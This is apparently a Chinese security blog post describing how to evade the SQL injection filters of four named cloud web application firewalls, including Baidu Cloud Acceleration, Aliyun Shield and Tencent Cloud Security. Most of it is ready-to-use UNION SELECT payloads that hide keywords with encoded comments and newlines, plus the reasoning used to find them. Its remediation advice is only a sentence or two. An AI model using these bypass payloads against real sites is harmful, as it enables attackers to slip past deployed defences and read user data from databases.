Bypass百度云加速/阿里云盾/腾讯云安全/创宇加速乐SQL注入防御（附思路）

但是修复的并不彻底。感觉很死心眼啊，#注释拦截掉了，--注释不拦截。23333
百度云加速+阿里云盾：
--和换行url转码后为%2d%2d%0a。
百度云加速更有意思，%23%0a拦截了，%23%0d%0a又可以绕过了= =。This is the china waf！

腾讯云安全+创宇加速乐： 思路反馈给我的姿势。(后面说)

0x01百度云加速：

Bypass Payload:

1 union%23%0d%0aselect username from users%23
1 union%2d%2d%0aselect username from users%23
1 union%2d%2d%0d%0aselect username from users%23

0x02阿 里云盾：

1 union%2d%2d%0aselect username from users%23
1 union%2d%2d%0d%0aselect username from users%23

0x03腾讯云安全： 绕过思路： 首先看看腾讯云安全怎么检测sql注入的，怎么匹配关键字会被拦截，怎么匹配不会？ union+select拦截。 select+from拦截。 union+from不拦截。 那么关键的点就是绕过这个select，这种经过推理后就会省不少事。 还有就是，Bypass sql注入防御通俗点理解就是 第一不被waf检测到，第二sql能正常执行。 select不行就找和select相同类型的，比如：

select all
select distinct
select distinctrow

既然这些都可以，再想想使用这样的语句怎么不被检测到，达到天衣无缝的效果？

select与all中间肯定不能用普通的 /**/ 这种代替空格，还是会被视为是union+select。
select all可以这么表达/*!select%20all*/，很明显不可行。还是属于union+select。
select all还可以这么表达/*!12345select all*/，腾讯云也会认为是union+select。
尝试了下/*!*/中间也可以使用%0a换行。

/*!12345%0aselect%20all*/还是会被拦截，这就说明腾讯云在语法检测的时候会忽略掉数字后面的%0a换行，虽然属于union+12342select，但简单的数字和关键字拆分再识别还是做得到。
再测试/*!12345select%0aall*/，结果就合乎推理了，根据测试知道腾讯云安全会忽略掉%0a换行，这就等于union+12345selectall，不会被检测到。(忽略掉%0a换行为了过滤反而可以用来加以利用进行Bypass)

可能会问，推理的依据并不能真正意义上证明忽略掉了%0a啊？
当然要证明下啊，/*!12345%0aselect%0aall*/就被拦截了，说明刚开始检测到12345%0aselect就不再检测后方的了，union+12345select就已经可以拦截掉了。

还可能会问，既然忽略掉了%0a，那么/*!select%0aall*/是不是也可以啊，然而并不行。
合理的推理很有必要。
Bypass Payload：

1' union/*!50000select%0aall*/username from users%23
1' union/*!50000select%0adistinct*/username from users%23
1' union/*!50000select%0adistinctrow*/username from users%23

测试案例：

Bypass:

0x04创宇加速乐：

和腾讯云安全的Bypass方式一样。 Bypass:

修复方案：

修复方案无非就是过滤，规则越臃肿复杂就越容易绕过。 对于百度云加速和阿里云盾修复别这么死心眼啊。 想法第一，实现第二。有好想法尝试后即使不能bypass，不一定是因为waf聪明，可能是"万事俱备，只欠东风"的问题。 Bypass多数实现很简单，关键是怎么能实现和思考的过程，Very Interesting。 这只是个开始。